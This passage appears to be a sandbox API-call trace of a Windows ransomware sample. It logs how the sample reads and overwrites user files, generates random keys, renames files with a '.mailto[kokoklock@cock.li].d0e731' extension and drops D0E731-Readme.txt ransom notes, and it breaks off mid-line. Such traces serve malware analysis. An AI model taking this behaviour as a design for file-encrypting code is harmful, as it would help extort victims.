hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7a8 [0065.249] NtQuerySystemTime (in: CurrentTime=0xf13fe88 | out: CurrentTime=0xf13fe88*=132121176231434317) returned 0x0 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x4943370 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0xa7b1ec04 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0xf26d9ce4 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x49099f3d [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0xed5d1a5 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x9e54d92f [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x8bad35f7 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x203eaa20 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x19918205 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x17ca48fe [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x3e268b82 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x6c7cb73 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0xe76bde2f [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x237b3f40 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x40cac8fd [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x4feaf785 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x65bcc6b3 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x94a9b80f [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x5173b3d [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x575543d5 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x6275634 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x3f38a289 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0xcc9f22c1 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0xc75f64e9 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x162476f6 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x45a73837 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0xeda0c8f1 [0065.249] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x770a8ae8 [0065.250] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x3a47e785 [0065.250] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0xb5e11ec8 [0065.250] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0x9430ccc4 [0065.250] RtlRandom (in: Seed=0xf13fe94 | out: Seed=0xf13fe94) returned 0xb0bbe23c [0065.261] ReadFile (in: hFile=0x7c4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x357, lpNumberOfBytesRead=0xf13fe88, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf13fe88*=0x357, lpOverlapped=0x0) returned 1 [0065.261] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xf13fe50 | out: lpNewFilePointer=0x0) returned 1 [0065.261] WriteFile (in: hFile=0x7c4, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x357, lpNumberOfBytesWritten=0xf13fe84, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf13fe84*=0x357, lpOverlapped=0x0) returned 1 [0065.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7d0 [0065.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.261] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be7d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf13fe80, lpOverlapped=0x0 | out: lpBuffer=0x34be7d0*, lpNumberOfBytesWritten=0xf13fe80*=0x20, lpOverlapped=0x0) returned 1 [0065.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be7d0) returned 1 [0065.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.262] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf13feac, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xf13feac*=0x8, lpOverlapped=0x0) returned 1 [0065.262] WriteFile (in: hFile=0x7c4, lpBuffer=0xf13fec4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf13feac, lpOverlapped=0x0 | out: lpBuffer=0xf13fec4*, lpNumberOfBytesWritten=0xf13feac*=0x4, lpOverlapped=0x0) returned 1 [0065.262] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf13feac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf13feac*=0x4, lpOverlapped=0x0) returned 1 [0065.262] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf13feac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf13feac*=0x6c, lpOverlapped=0x0) returned 1 [0065.262] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf13feac, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf13feac*=0x20, lpOverlapped=0x0) returned 1 [0065.262] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf13feac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf13feac*=0x4, lpOverlapped=0x0) returned 1 [0065.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.262] CloseHandle (hObject=0x7c4) returned 1 [0065.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x341a708 [0065.263] wcscpy (in: _Dest=0x341a708, _Source="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms") returned="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" [0065.263] wcscat (in: _Dest=0x341a708, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731" [0065.264] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms"), lpNewFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.264] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a708) returned 1 [0065.265] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", dwFileAttributes=0x20) returned 0 [0065.265] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481a98 [0065.265] wcscpy (in: _Dest=0x3481a98, _Source="C:\\Users\\FD1HVy\\Searches\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0065.265] wcscat (in: _Dest=0x3481a98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt" [0065.265] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\searches\\d0e731-readme.txt")) returned 0x20 [0065.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481a98) returned 1 [0065.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5b68) returned 1 [0065.265] RtlExitUserThread (Status=0x1) Thread: id = 327 os_tid = 0x1394 [0065.246] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\14xftq.jpg")) returned 0x20 [0065.248] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg", dwFileAttributes=0x20) returned 1 [0065.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\14xftq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.266] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf1bf964 | out: lpFileSize=0xf1bf964*=48569) returned 1 [0065.266] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xbdb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.266] ReadFile (in: hFile=0x7c8, lpBuffer=0xf1bf938, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf1bf934, lpOverlapped=0x0 | out: lpBuffer=0xf1bf938*, lpNumberOfBytesRead=0xf1bf934*=0x4, lpOverlapped=0x0) returned 1 [0065.266] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.266] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.266] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.266] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7d0 [0065.266] NtQuerySystemTime (in: CurrentTime=0xf1bf910 | out: CurrentTime=0xf1bf910*=132121176231590272) returned 0x0 [0065.266] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0xacb84083 [0065.266] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0xcad94e89 [0065.266] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0xf3614fe8 [0065.266] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0xcc8933c [0065.266] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x4504f6b4 [0065.266] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x62e05d04 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0xed057501 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0xc9e98323 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x25780086 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x755f50bd [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x51f73ab2 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x629a0b3f [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x270b5f5b [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x3bef6df9 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x9ddef85 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x3d79a094 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x98d9d958 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x9f91ebcc [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x5f359f15 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x68c395c7 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x28a5c8b6 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0xa4639c24 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x99c31cc7 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x25d8b128 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x889c9e6d [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x8a87cf46 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x16a3cf60 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x5361e0d3 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x82d1707e [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x33735cb2 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x79485f53 [0065.267] RtlRandom (in: Seed=0xf1bf91c | out: Seed=0xf1bf91c) returned 0x789caf2a [0065.281] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.282] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf1bf8e8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf1bf8e8*=0x4096, lpOverlapped=0x0) returned 1 [0065.282] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.282] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7f8 [0065.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.283] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf1bf8e8, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf1bf8e8*=0x4096, lpOverlapped=0x0) returned 1 [0065.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.283] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xbdb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.283] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be7f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf1bf920, lpOverlapped=0x0 | out: lpBuffer=0x34be7f8*, lpNumberOfBytesWritten=0xf1bf920*=0x20, lpOverlapped=0x0) returned 1 [0065.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be7f8) returned 1 [0065.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.283] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf1bf934, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xf1bf934*=0x8, lpOverlapped=0x0) returned 1 [0065.283] WriteFile (in: hFile=0x7c8, lpBuffer=0xf1bf94c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf1bf934, lpOverlapped=0x0 | out: lpBuffer=0xf1bf94c*, lpNumberOfBytesWritten=0xf1bf934*=0x4, lpOverlapped=0x0) returned 1 [0065.283] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf1bf934, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf1bf934*=0x4, lpOverlapped=0x0) returned 1 [0065.283] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf1bf934, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf1bf934*=0x6c, lpOverlapped=0x0) returned 1 [0065.283] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf1bf934, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf1bf934*=0x20, lpOverlapped=0x0) returned 1 [0065.284] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf1bf934, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf1bf934*=0x4, lpOverlapped=0x0) returned 1 [0065.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.284] CloseHandle (hObject=0x7c8) returned 1 [0065.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3486220 [0065.286] wcscpy (in: _Dest=0x3486220, _Source="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg" [0065.286] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731" [0065.286] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\14xftq.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\14xftq.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.286] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0065.287] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\14xFtQ.jpg", dwFileAttributes=0x20) returned 0 [0065.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.287] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.287] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.287] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0xffffffff [0065.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.287] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xf1bf930, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xf1bf930*=0x481, lpOverlapped=0x0) returned 1 [0065.288] CloseHandle (hObject=0x7c8) returned 1 [0065.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e188) returned 1 [0065.288] RtlExitUserThread (Status=0x1) Thread: id = 328 os_tid = 0x1398 [0065.290] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\5iql.gif")) returned 0x20 [0065.290] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif", dwFileAttributes=0x20) returned 1 [0065.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5iqL.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\5iql.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.290] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf23f94c | out: lpFileSize=0xf23f94c*=59604) returned 1 [0065.290] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xe8d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.291] ReadFile (in: hFile=0x7c8, lpBuffer=0xf23f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf23f91c, lpOverlapped=0x0 | out: lpBuffer=0xf23f920*, lpNumberOfBytesRead=0xf23f91c*=0x4, lpOverlapped=0x0) returned 1 [0065.291] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7f8 [0065.291] NtQuerySystemTime (in: CurrentTime=0xf23f8f8 | out: CurrentTime=0xf23f8f8*=132121176231902924) returned 0x0 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xebcf71e0 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x2218ef4b [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xa3916692 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x8f116182 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x7829a192 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x13a34c3e [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x3d0757e2 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xbe6cdd46 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x8372eef4 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x8b38d904 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x71be39d3 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xc3ee57fe [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x3e883e97 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xfe7cc664 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x5dc0bb5b [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x67906011 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x71935a36 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xc98bd603 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xc384a5e2 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0x50367d1 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xfb7b33b1 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xa3b138f2 [0065.291] RtlRandom (in: Seed=0xf23f904 | out: Seed=0xf23f904) returned 0xc0a38c1f [0065.292] RtlRandom (in: 